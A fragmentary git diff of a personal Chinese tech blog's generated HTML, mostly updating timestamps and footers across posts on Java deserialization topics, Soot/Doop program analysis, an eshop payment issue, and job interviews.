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方法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#RMI"><span class="toc-number">1.1.2.</span> <span class="toc-text">RMI</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#RMI-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CC5%EF%BC%89"><span class="toc-number">1.1.3.</span> <span class="toc-text">RMI 反序列化漏洞（CC5）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Apache-CommonsCollections"><span class="toc-number">1.1.4.</span> <span class="toc-text">Apache CommonsCollections</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#ysoserial"><span class="toc-number">2.</span> <span class="toc-text">ysoserial</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#URLDNS"><span class="toc-number">2.1.</span> <span class="toc-text">URLDNS</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC1"><span class="toc-number">2.2.</span> <span class="toc-text">CC1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#jdk-1-7u21"><span class="toc-number">2.3.</span> <span class="toc-text">jdk 1.7u21</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC2"><span class="toc-number">2.4.</span> <span class="toc-text">CC2</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC3"><span class="toc-number">2.5.</span> <span class="toc-text">CC3</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC4"><span class="toc-number">2.6.</span> <span class="toc-text">CC4</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC5"><span class="toc-number">2.7.</span> <span class="toc-text">CC5</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC6"><span class="toc-number">2.8.</span> <span class="toc-text">CC6</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CC7"><span class="toc-number">2.9.</span> <span class="toc-text">CC7</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Groovy1"><span class="toc-number">2.10.</span> <span class="toc-text">Groovy1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Click1"><span class="toc-number">2.11.</span> <span class="toc-text">Click1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CommonsBeanutils1"><span class="toc-number">2.12.</span> <span class="toc-text">CommonsBeanutils1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Clojure"><span class="toc-number">2.13.</span> <span class="toc-text">Clojure</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ROME"><span class="toc-number">2.14.</span> <span class="toc-text">ROME</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Myfaces1"><span class="toc-number">2.15.</span> <span class="toc-text">Myfaces1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Myfaces2"><span class="toc-number">2.16.</span> <span class="toc-text">Myfaces2</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Spring1"><span class="toc-number">2.17.</span> <span class="toc-text">Spring1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Spring2"><span class="toc-number">2.18.</span> <span class="toc-text">Spring2</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Vaddin1"><span class="toc-number">2.19.</span> <span class="toc-text">Vaddin1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#C3P0"><span class="toc-number">2.20.</span> <span class="toc-text">C3P0</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%80%BB%E7%BB%93"><span class="toc-number">3.</span> <span class="toc-text">总结</span></a></li><li class="toc-item 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+<meta property="article:modified_time" content="2024-05-22T14:10:40.993Z">
 <meta property="article:author" content="Jckling">
 <meta property="article:tag" content="Python">
 <meta name="twitter:card" content="summary">
@@ -60,7 +60,7 @@
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-  postUpdate: '2024-05-21 18:02:48'
+  postUpdate: '2024-05-22 22:10:40'
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diff --git "a/2021/12/17/Security/\346\214\207\351\222\210\345\210\206\346\236\220\345\267\245\345\205\267 Doop \344\275\277\347\224\250\346\214\207\345\215\227/index.html" "b/2021/12/17/Security/\346\214\207\351\222\210\345\210\206\346\236\220\345\267\245\345\205\267 Doop \344\275\277\347\224\250\346\214\207\345\215\227/index.html"
index 4d4c8e3fa..0356ede12 100644
--- "a/2021/12/17/Security/\346\214\207\351\222\210\345\210\206\346\236\220\345\267\245\345\205\267 Doop \344\275\277\347\224\250\346\214\207\345\215\227/index.html"	
+++ "b/2021/12/17/Security/\346\214\207\351\222\210\345\210\206\346\236\220\345\267\245\345\205\267 Doop \344\275\277\347\224\250\346\214\207\345\215\227/index.html"	
@@ -282,7 +282,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="http://plast-lab.github.io/">PLaST research group</a></li>
 <li><a target="_blank" rel="noopener" href="https://discord.gg/4q7rj5s">Doop Discord Channel</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2021/12/17/Security/%E6%8C%87%E9%92%88%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7%20Doop%20%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97/">https://jckling.github.io/2021/12/17/Security/指针分析工具 Doop 使用指南/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a 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+</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2021/12/17/Security/%E6%8C%87%E9%92%88%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7%20Doop%20%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97/">https://jckling.github.io/2021/12/17/Security/指针分析工具 Doop 使用指南/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a 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href="#%E5%88%86%E6%9E%90%E9%80%BB%E8%BE%91"><span class="toc-number">3.2.</span> <span class="toc-text">分析逻辑</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%89%A7%E8%A1%8C%E7%BB%93%E6%9E%9C"><span class="toc-number">3.3.</span> <span class="toc-text">执行结果</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9E%84%E9%80%A0%E8%B0%83%E7%94%A8%E5%9B%BE"><span class="toc-number">3.4.</span> <span class="toc-text">构造调用图</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9F%A5%E6%89%BE%E5%85%B3%E7%B3%BB"><span class="toc-number">3.5.</span> <span class="toc-text">查找关系</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BB%93%E8%AF%AD"><span class="toc-number">4.</span> <span class="toc-text">结语</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">5.</span> <span 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+++ "b/2022/02/23/Other/Soot \344\275\277\347\224\250\350\256\260\345\275\225/index.html"	
@@ -362,7 +362,7 @@ <h2 id="Soot-配置"><a href="#Soot-配置" class="headerlink" title="Soot 配
 <figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">initSootOption</span><span class="params">()</span> &#123;</span><br><span class="line">    G.reset();</span><br><span class="line"></span><br><span class="line">    Options.v().set_prepend_classpath(<span class="literal">true</span>);</span><br><span class="line">    Options.v().set_allow_phantom_refs(<span class="literal">true</span>);</span><br><span class="line">    Options.v().set_keep_line_number(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    Options.v().set_whole_program(<span class="literal">true</span>);</span><br><span class="line">    Options.v().set_verbose(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">    Scene.v().loadBasicClasses();</span><br><span class="line">    Scene.v().loadDynamicClasses();</span><br><span class="line">    Scene.v().loadClass(<span class="string">&quot;java.lang.Class&quot;</span>, <span class="number">3</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//        Options.v().set_output_format(Options.output_format_jimple);</span></span><br><span class="line"><span class="comment">//        Options.v().set_validate(true);</span></span><br><span class="line"><span class="comment">//        Options.v().set_ignore_classpath_errors(true); // Ignores invalid entries on the Soot classpath.</span></span><br><span class="line"><span class="comment">//        Options.v().set_no_writeout_body_releasing(true); // 当输出内容后不释放获取的body数据</span></span><br><span class="line"><span class="comment">//        Options.v().set_no_bodies_for_excluded(true);</span></span><br><span class="line"><span class="comment">//        Options.v().set_omit_excepting_unit_edges(true);</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
 
 
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@@ -553,7 +553,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://www.evosuite.org/documentation/tutorial-part-1/">Tutorial Part 1: EvoSuite on the Command Line</a></li>
 <li><a target="_blank" rel="noopener" href="https://github.com/EvoSuite/evosuite/issues/47">class com.sun.tools.attach.AttachNotSupportedException no providers installed #47</a></li>
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href="#%E7%8E%AF%E5%A2%83"><span class="toc-number">2.1.1.</span> <span class="toc-text">环境</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8C%87%E5%AE%9A%E5%A4%9A%E4%B8%AA%E7%B1%BB"><span class="toc-number">2.1.2.</span> <span class="toc-text">指定多个类</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8C%87%E5%AE%9A%E7%B1%BB%E6%96%87%E4%BB%B6"><span class="toc-number">2.1.3.</span> <span class="toc-text">指定类文件</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8C%87%E5%AE%9A%E6%96%B9%E6%B3%95"><span class="toc-number">2.1.4.</span> <span class="toc-text">指定方法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%97%AE%E9%A2%98%E4%B8%8E%E8%A7%A3%E5%86%B3"><span class="toc-number">2.1.5.</span> <span class="toc-text">问题与解决</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%9B%B8%E5%85%B3%E6%A6%82%E5%BF%B5"><span class="toc-number">2.2.</span> <span class="toc-text">相关概念</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Sequence"><span class="toc-number">2.2.1.</span> <span class="toc-text">Sequence</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ExecutableSequence"><span class="toc-number">2.2.2.</span> <span class="toc-text">ExecutableSequence</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Check"><span class="toc-number">2.2.3.</span> <span class="toc-text">Check</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ForwardGenerator"><span class="toc-number">2.2.4.</span> <span class="toc-text">ForwardGenerator</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#EvoSuite"><span class="toc-number">3.</span> <span class="toc-text">EvoSuite</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%9E%E9%AA%8C-1"><span class="toc-number">3.1.</span> <span class="toc-text">实验</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%97%AE%E9%A2%98"><span class="toc-number">3.2.</span> <span class="toc-text">问题</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">4.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" 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href="#%E7%8E%AF%E5%A2%83"><span class="toc-number">2.1.1.</span> <span class="toc-text">环境</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8C%87%E5%AE%9A%E5%A4%9A%E4%B8%AA%E7%B1%BB"><span class="toc-number">2.1.2.</span> <span class="toc-text">指定多个类</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8C%87%E5%AE%9A%E7%B1%BB%E6%96%87%E4%BB%B6"><span class="toc-number">2.1.3.</span> <span class="toc-text">指定类文件</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8C%87%E5%AE%9A%E6%96%B9%E6%B3%95"><span class="toc-number">2.1.4.</span> <span class="toc-text">指定方法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%97%AE%E9%A2%98%E4%B8%8E%E8%A7%A3%E5%86%B3"><span class="toc-number">2.1.5.</span> <span class="toc-text">问题与解决</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%9B%B8%E5%85%B3%E6%A6%82%E5%BF%B5"><span class="toc-number">2.2.</span> <span class="toc-text">相关概念</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Sequence"><span class="toc-number">2.2.1.</span> <span class="toc-text">Sequence</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ExecutableSequence"><span class="toc-number">2.2.2.</span> <span class="toc-text">ExecutableSequence</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Check"><span class="toc-number">2.2.3.</span> <span class="toc-text">Check</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ForwardGenerator"><span class="toc-number">2.2.4.</span> <span class="toc-text">ForwardGenerator</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#EvoSuite"><span class="toc-number">3.</span> <span class="toc-text">EvoSuite</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" 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diff --git "a/2022/08/14/Game/NS/\346\227\245\345\214\272 eshop \346\227\240\346\263\225\344\275\277\347\224\250 PayPal/index.html" "b/2022/08/14/Game/NS/\346\227\245\345\214\272 eshop \346\227\240\346\263\225\344\275\277\347\224\250 PayPal/index.html"
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@@ -186,7 +186,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://www.paypal-community.com/t5/Payments-Archives/Error-9001-9310-when-buying-Nintendo-Online/td-p/1677465">Error 9001-9310 when buying Nintendo Online</a></li>
 <li><a target="_blank" rel="noopener" href="https://en-americas-support.nintendo.com/app/answers/detail/a_id/29173/kw/9001-9310/session/L3RpbWUvMTU4NTA1NzczNi9nZW4vMTU4NTA1NzczNi9zaWQvZlVtU0Z0OHZGN0FDUGFlUUFOSnQxYXF5RHBHeEtNcUdjWkJjVk5NVm1iaEVpdHJNYUxZSU1RWWp5SWJMOWZVc0JnOEFYa3JJQVFQOGNJJTdFV0V3TVRsYzkwcHo3MmtxWW5DM3RTdDRLU0hsU3doaDh5U1VNcDlNM1ElMjElMjE=">Error Code: 9001-9310</a></li>
 </ul>
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onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="FF14 ReShade 使用教程"/></a><div class="content"><a class="title" href="/2023/08/30/Game/FFXIV/FF14-ReShade%20%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/" title="FF14 ReShade 使用教程">FF14 ReShade 使用教程</a><time datetime="2023-08-30T14:11:14.000Z" title="发表于 2023-08-30 22:11:14">2023-08-30</time></div></div></div></div><div class="card-widget ads-wrap"><ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-1035234274961147" data-ad-slot="8787224657" data-ad-format="auto" data-full-width-responsive="true"></ins><script>(adsbygoogle = window.adsbygoogle || []).push({});</script></div></div></div></main><footer id="footer" style="background-image: url('https://s2.loli.net/2022/08/14/cFealAQUSg7ZRqm.jpg')"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2024 By Jckling</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" 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-</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="onerror=null;src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><hr class="custom-hr"/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://i.loli.net/2021/06/14/2NXqsznriG8blc7.jpg')"><nav id="nav"><span id="blog-info"><a href="/" title="Jckling's Blog"><span class="site-name">Jckling's Blog</span></a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div><div id="toggle-menu"><a class="site-page" href="javascript:void(0);"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">23 届秋招面试总结</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="fa-fw post-meta-icon far fa-calendar-alt"></i><span class="post-meta-label">发表于</span><time datetime="2022-11-30T08:40:05.000Z" title="发表于 2022-11-30 16:40:05">2022-11-30</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/Notes/">Notes</a></span></div><div class="meta-secondline"><span class="post-meta-separator">|</span><span class="post-meta-pv-cv" id="" data-flag-title="23 届秋招面试总结"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"><i class="fa-solid fa-spinner fa-spin"></i></span></span><span class="post-meta-separator">|</span><span class="post-meta-commentcount"><i class="far fa-comments fa-fw post-meta-icon"></i><span class="post-meta-label">评论数:</span><a href="/2022/11/30/Notes/23%20%E5%B1%8A%E7%A7%8B%E6%8B%9B%E9%9D%A2%E8%AF%95%E6%80%BB%E7%BB%93/#post-comment"><span class="waline-comment-count" data-path="/2022/11/30/Notes/23%20%E5%B1%8A%E7%A7%8B%E6%8B%9B%E9%9D%A2%E8%AF%95%E6%80%BB%E7%BB%93/"><i class="fa-solid fa-spinner fa-spin"></i></span></a></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>大致可以分为「运营商&#x2F;银行」与「软件&#x2F;互联网」，电商、自动驾驶、游戏等归类到「软件&#x2F;互联网」当中。和 <a href="https://jckling.github.io/2022/05/20/Notes/23%20%E5%B1%8A%E6%9A%91%E6%9C%9F%E5%AE%9E%E4%B9%A0%E9%9D%A2%E8%AF%95%E6%80%BB%E7%BB%93/">23 届暑期实习面试总结</a> 一样，按<strong>一面</strong>时间顺序进行罗列。</p>
+</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="onerror=null;src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><hr class="custom-hr"/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://i.loli.net/2021/06/14/oSn9dxfYhEHClIe.jpg')"><nav id="nav"><span id="blog-info"><a href="/" title="Jckling's Blog"><span class="site-name">Jckling's Blog</span></a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div><div id="toggle-menu"><a class="site-page" href="javascript:void(0);"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">23 届秋招面试总结</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="fa-fw post-meta-icon far fa-calendar-alt"></i><span class="post-meta-label">发表于</span><time datetime="2022-11-30T08:40:05.000Z" title="发表于 2022-11-30 16:40:05">2022-11-30</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/Notes/">Notes</a></span></div><div class="meta-secondline"><span class="post-meta-separator">|</span><span class="post-meta-pv-cv" id="" data-flag-title="23 届秋招面试总结"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"><i class="fa-solid fa-spinner fa-spin"></i></span></span><span class="post-meta-separator">|</span><span class="post-meta-commentcount"><i class="far fa-comments fa-fw post-meta-icon"></i><span class="post-meta-label">评论数:</span><a href="/2022/11/30/Notes/23%20%E5%B1%8A%E7%A7%8B%E6%8B%9B%E9%9D%A2%E8%AF%95%E6%80%BB%E7%BB%93/#post-comment"><span class="waline-comment-count" data-path="/2022/11/30/Notes/23%20%E5%B1%8A%E7%A7%8B%E6%8B%9B%E9%9D%A2%E8%AF%95%E6%80%BB%E7%BB%93/"><i class="fa-solid fa-spinner fa-spin"></i></span></a></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>大致可以分为「运营商&#x2F;银行」与「软件&#x2F;互联网」，电商、自动驾驶、游戏等归类到「软件&#x2F;互联网」当中。和 <a href="https://jckling.github.io/2022/05/20/Notes/23%20%E5%B1%8A%E6%9A%91%E6%9C%9F%E5%AE%9E%E4%B9%A0%E9%9D%A2%E8%AF%95%E6%80%BB%E7%BB%93/">23 届暑期实习面试总结</a> 一样，按<strong>一面</strong>时间顺序进行罗列。</p>
 <h1 id="运营商-银行"><a href="#运营商-银行" class="headerlink" title="运营商&#x2F;银行"></a>运营商&#x2F;银行</h1><p>银行似乎都只有一轮面试，不过收到的都是差额体检。运营商面了没后续消息就默认挂了（摊手）。</p>
 <h2 id="中国移动信息技术中心"><a href="#中国移动信息技术中心" class="headerlink" title="中国移动信息技术中心"></a>中国移动信息技术中心</h2><p>过了差不多一个月才出结果，已拒。</p>
 <p><strong>一面（10min）</strong></p>
@@ -1384,7 +1384,7 @@ <h2 id="英雄游戏"><a href="#英雄游戏" class="headerlink" title="英雄
 </ol>
 <h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>招聘信息主要从校园论坛、牛客网、Linkedin 获取，投递的全是开发岗位，部分有内推。9 月中旬实习结束后才开始准备和投递，没有做好准备就陆续开始面试了，10 月底集中两三天做银行笔试，之后持续笔试面试，期间还花了两天准备和参加中期答辩，最后终于等到了「Unity 中国」，寄出三方后拒绝了其他在流程中的。</p>
 <p>秋招战线两个多月，零零散散也拿到十几个 offer，终于定下来了。</p>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2022/11/30/Notes/23%20%E5%B1%8A%E7%A7%8B%E6%8B%9B%E9%9D%A2%E8%AF%95%E6%80%BB%E7%BB%93/">https://jckling.github.io/2022/11/30/Notes/23 届秋招面试总结/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%89%8D%E8%A8%80"><span class="toc-number">1.</span> <span class="toc-text">前言</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E8%BF%90%E8%90%A5%E5%95%86-%E9%93%B6%E8%A1%8C"><span class="toc-number">2.</span> <span class="toc-text">运营商&#x2F;银行</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%AD%E5%9B%BD%E7%A7%BB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%8A%80%E6%9C%AF%E4%B8%AD%E5%BF%83"><span class="toc-number">2.1.</span> <span class="toc-text">中国移动信息技术中心</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%81%94%E9%80%9A%E8%BD%AF%E4%BB%B6%E7%A0%94%E7%A9%B6%E9%99%A2"><span class="toc-number">2.2.</span> <span class="toc-text">联通软件研究院</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%AD%E5%9B%BD%E7%94%B5%E4%BF%A1%E5%AE%89%E5%85%A8%E5%85%AC%E5%8F%B8"><span class="toc-number">2.3.</span> <span class="toc-text">中国电信安全公司</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8C%97%E4%BA%AC"><span class="toc-number">2.3.1.</span> <span class="toc-text">北京</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" 